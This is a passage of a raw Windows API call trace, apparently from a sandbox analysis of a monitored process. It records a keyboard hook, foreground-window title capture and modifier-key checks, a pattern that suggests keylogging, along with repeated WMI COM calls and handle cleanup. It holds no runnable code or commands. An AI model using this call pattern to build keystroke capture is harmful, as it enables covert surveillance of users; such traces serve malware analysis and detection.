PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.594] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.594] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.594] WaitMessage () returned 1 [0073.603] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.603] GetForegroundWindow () returned 0x50124 [0073.603] GetLastError () returned 0x0 [0073.603] GetWindowTextA (in: hWnd=0x50124, lpString=0x26ec64, nMaxCount=100 | out: lpString="Shut Down Windows") returned 17 [0073.603] GetLastError () returned 0x0 [0073.603] GetKeyState (nVirtKey=16) returned 0 [0073.603] GetKeyState (nVirtKey=17) returned 0 [0073.603] GetKeyState (nVirtKey=18) returned 1 [0073.603] GetKeyState (nVirtKey=16) returned 0 [0073.603] GetKeyState (nVirtKey=17) returned 0 [0073.603] GetKeyState (nVirtKey=18) returned 1 [0073.603] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x26f04c) returned 0x0 [0073.606] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.606] WaitMessage () returned 1 [0073.611] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.611] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.611] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.611] WaitMessage () returned 1 [0074.545] PeekMessageW (lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0) [0074.545] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x3b, wParam=0x50e, lParam=0x0) returned 0x1 [0074.545] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0074.546] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x46, wParam=0x0, lParam=0x26f038) returned 0x0 [0074.547] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x47, wParam=0x0, lParam=0x26f038) returned 0x0 [0074.547] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0xd, wParam=0x104, lParam=0x469c5e0) returned 0x0 [0074.548] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x83, wParam=0x1, lParam=0x26ec1c) returned 0x0 [0074.549] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x1c, wParam=0x1, lParam=0x5b0) returned 0x0 [0074.549] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0074.549] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0xd, wParam=0x104, lParam=0x469c5e0) returned 0x0 [0074.550] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0xd, wParam=0x104, lParam=0x469c5e0) returned 0x0 [0074.550] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0074.575] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0074.576] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0074.576] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0074.576] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x3b, wParam=0x50c, lParam=0x0) returned 0x2 [0074.576] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x16, wParam=0x1, lParam=0x0) returned 0x0 Thread: id = 10 os_tid = 0xb28 Thread: id = 11 os_tid = 0xb2c [0035.005] CoGetContextToken (in: pToken=0x20bf598 | out: pToken=0x20bf598) returned 0x800401f0 [0035.005] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0055.200] CoGetContextToken (in: pToken=0x20bf578 | out: pToken=0x20bf578) returned 0x0 [0055.200] CoGetContextToken (in: pToken=0x20bf508 | out: pToken=0x20bf508) returned 0x0 [0055.200] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x0 [0055.200] CoGetContextToken (in: pToken=0x20bf508 | out: pToken=0x20bf508) returned 0x0 [0055.200] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x0 [0055.200] CoGetContextToken (in: pToken=0x20bf578 | out: pToken=0x20bf578) returned 0x0 [0055.200] IUnknown:QueryInterface (in: This=0x779458, riid=0x741fbeb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x20bf54c | out: ppvObject=0x20bf54c*=0x779468) returned 0x0 [0055.201] CObjectContext::ContextCallback () returned 0x0 [0064.368] IUnknown:Release (This=0x779468) returned 0x1 [0064.370] IUnknown:Release (This=0x4fa5c48) returned 0x0 [0064.371] CoGetContextToken (in: pToken=0x20bf4d4 | out: pToken=0x20bf4d4) returned 0x0 [0064.371] IUnknown:QueryInterface (in: This=0x779458, riid=0x741fbeb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x20bf4a8 | out: ppvObject=0x20bf4a8*=0x779468) returned 0x0 [0064.371] CObjectContext::ContextCallback () returned 0x0 [0064.372] IUnknown:Release (This=0x779468) returned 0x1 [0064.373] IUnknown:Release (This=0x779458) returned 0x0 [0064.373] IUnknown:Release (This=0x4fa5708) returned 0x0 [0064.374] CloseHandle (hObject=0x334) returned 1 [0064.374] GetLastError () returned 0x0 [0064.374] CloseHandle (hObject=0x338) returned 1 [0064.374] GetLastError () returned 0x0 [0064.375] CloseHandle (hObject=0x40c) returned 1 [0064.375] GetLastError () returned 0x0 [0064.375] CloseHandle (hObject=0x330) returned 1 [0064.375] GetLastError () returned 0x0 [0064.376] CloseHandle (hObject=0x3a8) returned 1 [0064.376] GetLastError () returned 0x0 [0064.376] CloseHandle (hObject=0x44c) returned 1 [0064.376] GetLastError () returned 0x0 [0064.376] CloseHandle (hObject=0x3a4) returned 1 [0064.376] GetLastError () returned 0x0 [0064.376] CloseHandle (hObject=0x360) returned 1 [0064.376] GetLastError () returned 0x0 [0064.377] CloseHandle (hObject=0x35c) returned 1 [0064.377] GetLastError () returned 0x0 [0064.377] CloseHandle (hObject=0x358) returned 1 [0064.377] GetLastError () returned 0x0 [0064.377] CloseHandle (hObject=0x354) returned 1 [0064.377] GetLastError () returned 0x0 [0064.378] RegCloseKey (hKey=0x46c) returned 0x0 [0064.378] CloseHandle (hObject=0x350) returned 1 [0064.378] GetLastError () returned 0x0 [0064.378] CloseHandle (hObject=0x34c) returned 1 [0064.378] GetLastError () returned 0x0 [0064.378] CloseHandle (hObject=0x430) returned 1 [0064.378] GetLastError () returned 0x0 [0064.379] CloseHandle (hObject=0x348) returned 1 [0064.379] GetLastError () returned 0x0 [0064.379] CloseHandle (hObject=0x344) returned 1 [0064.379] GetLastError () returned 0x0 [0064.379] CloseHandle (hObject=0x410) returned 1 [0064.379] GetLastError () returned 0x0 [0064.379] CloseHandle (hObject=0x340) returned 1 [0064.379] GetLastError () returned 0x0 [0064.380] CloseHandle (hObject=0x30c) returned 1 [0064.380] GetLastError () returned 0x0 [0064.380] CloseHandle (hObject=0x304) returned 1 [0064.380] GetLastError () returned 0x0 [0064.380] CloseHandle (hObject=0x33c) returned 1 [0064.380] GetLastError () returned 0x0 [0064.381] CloseHandle (hObject=0x2bc) returned 1 [0064.381] GetLastError () returned 0x0 [0064.381] CloseHandle (hObject=0x2b8) returned 1 [0064.381] GetLastError () returned 0x0 [0064.381] CloseHandle (hObject=0x278) returned 1 [0064.381] GetLastError () returned 0x0 Thread: id = 14 os_tid = 0xb38 Thread: id = 15 os_tid = 0xb3c Thread: id = 16 os_tid = 0xb40 Thread: id = 17 os_tid = 0xb44 Thread: id = 61 os_tid = 0xb7c [0042.013] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0042.057] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x52becf4 | out: lpiid=0x52becf4) returned 0x0 [0042.057] CoGetClassObject (in: rclsid=0x7c86fc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52bec5c | out: ppv=0x52bec5c*=0x4f9fd00) returned 0x0 [0042.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd00, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52bea8c | out: ppvObject=0x52bea8c*=0x0) returned 0x80004002 [0042.058] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f9fd00, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52beac4 | out: ppvObject=0x52beac4*=0x4f9fd10) returned 0x0 [0042.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be868 | out: ppvObject=0x52be868*=0x4f9fd10) returned 0x0 [0042.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52be824 | out: ppvObject=0x52be824*=0x0) returned 0x80004002 [0042.058] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x3 [0042.058] CoGetContextToken (in: pToken=0x52be6b0 | out: pToken=0x52be6b0) returned 0x0 [0042.059] CoGetObjectContext (in: riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x79e5f4 | out: ppv=0x79e5f4*=0x7795c8) returned 0x0 [0042.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be698 | out: ppvObject=0x52be698*=0x7af6b0) returned 0x0 [0042.060] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7af6b0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52be6a0 | out: pCid=0x52be6a0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.060] WbemDefPath:IUnknown:Release (This=0x7af6b0) returned 0x3 [0042.061] CoGetContextToken (in: pToken=0x52be6a8 | out: pToken=0x52be6a8) returned 0x0 [0042.061] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x4 [0042.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be71c | out: ppvObject=0x52be71c*=0x0) returned 0x80004002 [0042.061] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x3 [0042.061] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.062] WbemDefPath:IUnknown:Release (This=0x4f9fd00) returned 0x0 [0042.062] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.068] SetEvent (hEvent=0x278) returned 1 [0042.068] GetLastError () returned 0x0 [0042.075] CoGetClassObject (in: rclsid=0x7c86fc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52bec5c | out: ppv=0x52bec5c*=0x4f9fd00) returned 0x0 [0042.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd00, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52bea8c | out: ppvObject=0x52bea8c*=0x0) returned 0x80004002 [0042.076] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f9fd00, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52beac4 | out: ppvObject=0x52beac4*=0x4f9fda8) returned 0x0 [0042.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be868 | out: ppvObject=0x52be868*=0x4f9fda8) returned 0x0 [0042.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52be824 | out: ppvObject=0x52be824*=0x0) returned 0x80004002 [0042.076] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x3 [0042.076] CoGetContextToken (in: pToken=0x52be6b0 | out: pToken=0x52be6b0) returned 0x0 [0042.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be698 | out: ppvObject=0x52be698*=0x7af5a0) returned 0x0 [0042.076] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7af5a0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52be6a0 | out: pCid=0x52be6a0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.076] WbemDefPath:IUnknown:Release (This=0x7af5a0) returned 0x3 [0042.077] CoGetContextToken (in: pToken=0x52be6a8 | out: pToken=0x52be6a8) returned 0x0 [0042.077] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x4 [0042.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be71c | out: ppvObject=0x52be71c*=0x0) returned 0x80004002 [0042.077] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x3 [0042.077] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.077] WbemDefPath:IUnknown:Release (This=0x4f9fd00) returned 0x0 [0042.077] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.077] SetEvent (hEvent=0x2b8) returned 1 [0042.077] GetLastError () returned 0x36b7 [0042.114] CoGetClassObject (in: rclsid=0x7c86fc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52bec5c | out: ppv=0x52bec5c*=0x4fa0fa0) returned 0x0 [0042.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x4fa0fa0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52bea8c | out: ppvObject=0x52bea8c*=0x0) returned 0x80004002 [0042.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4fa0fa0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52beac4 | out: ppvObject=0x52beac4*=0x4f9daa8) returned 0x0 [0042.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be868 | out: ppvObject=0x52be868*=0x4f9daa8) returned 0x0 [0042.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52be824 | out: ppvObject=0x52be824*=0x0) returned 0x80004002 [0042.115] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.115] CoGetContextToken (in: pToken=0x52be6b0 | out: pToken=0x52be6b0) returned 0x0 [0042.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be698 | out: ppvObject=0x52be698*=0x7af760) returned 0x0 [0042.115] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7af760, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52be6a0 | out: pCid=0x52be6a0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.115] WbemDefPath:IUnknown:Release (This=0x7af760) returned 0x3 [0042.115] CoGetContextToken (in: pToken=0x52be6a8 | out: pToken=0x52be6a8) returned 0x0 [0042.115] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x4 [0042.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be71c | out: ppvObject=0x52be71c*=0x0) returned 0x80004002 [0042.115] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.115] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.115] WbemDefPath:IUnknown:Release (This=0x4fa0fa0) returned 0x0 [0042.115] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.116] SetEvent (hEvent=0x2bc) returned 1 [0042.125] GetLastError () returned 0x36b7 [0042.486] CoGetClassObject (in: rclsid=0x7c86fc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52bec5c | out: ppv=0x52bec5c*=0x4f9dc98) returned 0x0 [0042.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dc98, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52bea8c | out: ppvObject=0x52bea8c*=0x0) returned 0x80004002 [0042.487] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f9dc98, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52beac4 | out: ppvObject=0x52beac4*=0x4f9dca8) returned 0x0 [0042.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be868 | out: ppvObject=0x52be868*=0x4f9dca8) returned 0x0 [0042.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52be824 | out: ppvObject=0x52be824*=0x0) returned 0x80004002 [0042.487] WbemDefPath:IUnknown:AddRef (This=0x4f9dca8) returned 0x3 [0042.487] CoGetContextToken (in: pToken=0x52be6b0 | out: pToken=0x52be6b0) returned 0x0 [0042.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be698 | out: ppvObject=0x52be698*=0x7af7e0) returned 0x0 [0042.488] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7af7e0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52be6a0 | out: pCid=0x52be6a0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.488] WbemDefPath:IUnknown:Release (This=0x7af7e0) returned 0x3 [0042.488] CoGetContextToken (in: pToken=0x52be6a8 | out: pToken=0x52be6a8) returned 0x0 [0042.488] WbemDefPath:IUnknown:AddRef (This=0x4f9dca8) returned 0x4 [0042.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be71c | out: ppvObject=0x52be71c*=0x0) returned 0x80004002 [0042.488] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x3 [0042.488] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x2 [0042.488] WbemDefPath:IUnknown:Release (This=0x4f9dc98) returned 0x0 [0042.488] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x1 [0042.488] SetEvent (hEvent=0x304) returned 1 [0042.500] GetLastError () returned 0x36b7 [0043.765] CoGetClassObject (in: rclsid=0x7c86fc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52bec5c | out: ppv=0x52bec5c*=0x4f9dc98) returned 0x0 [0043.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dc98, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52bea8c | out: ppvObject=0x52bea8c*=0x0) returned 0x80004002 [0043.765] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f9dc98, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52beac4 | out: ppvObject=0x52beac4*=0x4f9e1b8) returned 0x0 [0043.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be868 | out: ppvObject=0x52be868*=0x4f9e1b8) returned 0x0 [0043.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52be824 | out: ppvObject=0x52be824*=0x0) returned 0x80004002 [0043.766] 